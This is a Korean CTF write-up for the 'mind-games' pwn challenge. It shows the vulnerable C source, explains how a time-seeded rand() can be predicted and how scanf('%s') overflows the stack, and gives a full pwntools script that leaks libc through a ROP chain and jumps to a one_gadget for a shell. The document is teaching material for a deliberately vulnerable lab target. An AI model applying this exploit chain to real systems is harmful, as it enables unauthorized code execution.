분석 환경: Arch linux 사용자 제공 파일: binary, source code, libc
Help! This program is playing mind games with me! You need to put an end to this madness.
Analysis 보호 기법 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000)
취약점 제공된 source code가 짧아서 전문을 올렸다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #define BUF_SIZE 32 void flag (void ) ;void disable_buffering (void ) ;void flag (void ) { FILE* file; int c = 0 ; file = fopen("flag.txt" , "r" ); if (NULL == file) { fprintf (stderr , "Cannot open flag.txt" ); exit (EXIT_FAILURE); } else { while (1 ) { c = fgetc(file); if (c == EOF) break ; putchar (c); } fclose(file); } return ; } int main (int argc, char *argv[]) { char input[BUF_SIZE] = { '\0' }; int randnum, guess; disable_buffering(); srand(time(NULL )); printf ("You think you can read my mind? " ); scanf ("%s" , input); guess = atoi(input); randnum = rand(); if (guess == randnum) { flag(); } else { puts ("That's what I thought." ); exit (EXIT_FAILURE); } return EXIT_SUCCESS; } void disable_buffering (void ) { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); }
random 값을 맞추면 flag()
함수를 호출한다. scanf("%s", input)
에서 bof가 터지니깐 input을 입력할 때 guess랑 randnum을 동일하게 주면 우회가 되지 않을까? 생각했다. 하지만 입력 후에 guess와 randnum을 정의하기 때문에 그런 방법은 통하지 않는다.
어떻게 해야할까?
randnum을 정의하는 함수는 rand()
함수이다. 간단하게 말하면 이 함수는 srand()
함수에 의존적인데 인자로 time(NULL)
이 들어간다. 같은 시간대에 다른 프로그램을 실행해도 프로그램의 현재 시간을 가져오기 때문에 우리는 randnum을 예측할 수 있다.
관련 내용은 나의 구 티스토리 블로그 에 자세히 설명되어 있다.
이런식으로 flag()
함수를 호출할 수 있는데 미리 스포하자면 이 함수는 진짜 flag를 호출하지 않는다.
그래서 bof를 이용하여 rip를 바꿔 execve
를 호춣해야 한다.
Exploit 시나리오
random 값 구한 후, libc leak 후 main으로 흐름 돌리기
random 값 다시 구한 후, one gadget 호출
Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *p = remote('pwn.chal.ctf.gdgalgiers.com' , 1404 ) e = ELF('./mind-games' ) libc = ELF('./lib/libc.so.6' ) r = process('./a.out' ) random = r.recv() log.info(b'random ::' + random) r.close() pop_rdi = 0x00000000004014c3 puts_plt = e.symbols['puts' ] puts_got = e.got['puts' ] main = e.symbols['main' ] payload = '' payload = random payload += b'A' * (0x30 -len (payload)) payload += b'B' * 8 payload += p64(pop_rdi) payload += p64(e.got['printf' ]) payload += p64(puts_plt) payload += p64(main) p.sendlineafter(b'mind?' , payload) leak = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) log.info(hex (leak)) libc_base = leak - libc.symbols['printf' ] log.info(hex (libc_base)) r = process('./a.out' ) random = r.recv() payload = random payload += b'A' * (0x30 -len (payload)) payload += b'B' * 8 payload += p64(0xe6c84 +libc_base) p.sendlineafter(b'mind?' , payload) r.close() p.interactive()
tmi
풀고 나서 익스 코드를 날려버려서 대회 끝나고 다시 풀었다. 대회 때 뭔가 확률적으로 shell을 얻을 수 있었는데, 지금 생각해보니 random 값 때문이었던 것 같다. 첫 main에서 구한 random 값을 두 번째 main에서 사용하려니 시간이 조금 지나 흐름이 이어지지 않는 경우가 생겨서 while, try-except 구문을 이용했었다… ㅋㅋ
대회 종료 후 이게 솔브 수가 19였는데 25솔짜리 문제는 풀지 못하였다 ㅜㅜ, 힙 문제였는데.. 요약하자면 oob를 통해 libc leak을 할 수 있고, heap overflow를 이용하여 heap chunk의 size를 조작할 수 있다. 이거를 이용해서 푸는 문제였는데,.. 암튼 못풀었다. 다른 쉬운 힙 문제들 좀 풀어보고 풀어봐야겠다 T_T